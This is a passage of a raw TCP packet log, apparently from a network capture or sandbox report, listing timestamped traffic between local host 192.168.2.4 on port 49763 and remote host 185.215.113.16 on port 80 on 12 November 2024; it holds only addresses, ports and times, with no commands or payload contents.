Nov 12, 2024 02:13:34.905901909 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.952488899 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.952502012 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.952512026 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.952528954 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.952550888 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.952572107 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.952627897 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.952640057 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.952661991 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.952686071 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.022110939 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.022131920 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.022147894 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.022160053 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.022191048 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.022212982 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.022347927 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.022371054 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.022382021 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.022387981 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.022422075 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.022432089 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.022444010 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.022469997 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.022494078 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.023111105 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.023124933 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.023134947 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.023159981 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.023173094 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.069499016 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.069511890 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.069523096 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.069574118 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.069603920 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.069655895 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.069669008 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.069680929 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.069695950 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.069717884 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.112086058 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.112114906 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.112149000 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.112165928 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.139048100 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.139061928 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.139074087 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.139085054 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.139112949 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.139144897 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.139204979 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.139214039 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.139250040 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.139405966 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.139419079 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.139442921 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.139451027 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.139455080 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.139476061 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.139502048 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.140029907 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.140078068 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.140111923 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.140155077 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.140186071 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.140228033 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.186398029 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.186412096 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.186422110 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.186482906 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.186497927 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.186536074 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.186542988 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.186551094 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.186574936 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.186594009 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.256542921 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.256556034 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.256567955 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.256581068 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.256587982 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.256608009 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.256639957 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.256762028 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.256793976 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.256810904 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.256822109 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.256831884 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.256844997 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.256848097 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.256880045 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.256891966 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.257610083 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.257623911 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.257672071 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.257683039 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.303293943 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.303344011 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.303394079 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.303405046 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.303416014 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.303426981 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.303443909 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.303457022 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.303770065 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.303785086 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.303796053 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.303827047 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.303838968 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.373646021 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.373661041 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.373672009 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.373682976 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.373693943 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.373718023 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.373756886 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.373992920 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.374021053 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.374042988 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.374058008 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.374070883 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.374140024 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.374140978 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.374140978 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.374140978 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.374140978 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.374814034 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.374829054 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.374845982 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.374856949 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.374866962 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.374880075 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.374893904 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.420450926 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.420527935 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.420556068 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.420568943 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.420578957 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.420591116 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.420598984 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.420624971 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.420646906 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.420804024 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.420821905 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.420850039 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.420871973 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.421031952 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.421044111 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.421082973 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.490458012 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.490474939 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.490484953 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.490497112 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.490509987 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.490523100 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.490561962 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.490621090 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.490636110 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.490647078 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.490664005 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.490686893 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.490974903 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.491024971 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.491045952 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.491091013 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.491185904 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.491199970 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.491210938 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.491223097 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.491234064 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.491259098 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.491713047 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.491756916 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.491776943 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.491791010 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.491816998 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.491828918 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.537476063 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.537489891 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.537499905 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.537518024 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.537548065 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.537569046 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.537638903 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.537650108 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.537659883 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.537682056 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.537708044 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.579802990 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.579813957 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.579873085 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.607317924 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.607330084 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.607340097 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.607518911 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.607530117 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.607541084 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.607590914 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.607590914 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.607728958 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.607777119 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.607790947 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.607800961 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.607829094 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.607841015 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.608021975 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.608123064 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.608131886 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.608134985 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.608146906 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.608161926 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.608182907 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.608536005 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.608546972 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.608561039 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.608572006 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.608587980 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.608602047 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.608624935 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.654479980 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.654505014 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.654516935 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.654529095 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.654660940 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.654661894 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.654660940 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.654685020 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.654711008 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.654735088 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.724246979 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.724324942 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.724337101 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.724348068 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.724369049 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.724380970 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.724386930 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.724390984 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.724396944 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.724402905 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.724414110 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.724571943 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.724571943 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.725029945 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.725074053 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.725080013 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.725110054 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.725111961 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.725150108 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.725178003 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.725198030 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.725217104 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.725231886 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.725517035 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.725528955 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.725541115 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.725552082 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.725564003 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.725567102 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.725594044 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.725610018 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.771498919 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.771553040 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.771564960 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.771564960 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.771589041 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.771609068 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.771620035 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.771635056 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.771646023 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.771661043 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.771682024 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.812251091 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.812263012 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.812314034 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.841327906 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.841341019 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.841355085 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.841368914 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.841382027 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.841392040 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.841409922 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.841443062 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.841562033 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.841603041 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.841614962 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.841629028 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.841639996 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.841653109 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.841670990 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.841687918 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.842005014 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.842016935 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.842060089 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.842190027 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.842206001 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.842222929 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.842236042 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.842241049 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.842250109 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.842253923 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.842279911 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.842295885 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.842756033 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.842768908 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.842780113 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.842811108 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.842835903 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.888562918 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.888591051 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.888607025 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.888618946 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.888643980 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.888653040 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.888689995 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.888704062 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.888714075 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.888731956 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.888748884 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.958384991 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.958398104 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.958409071 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.958424091 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.958437920 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.958498001 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.958518982 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.958564997 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.958606958 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.958607912 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.958617926 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.958650112 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.958925009 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.958939075 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.958950996 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.958962917 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.958972931 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.959001064 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.959273100 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.959319115 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.959359884 CET	80	49763	185.215.113.16	192.168.2.4
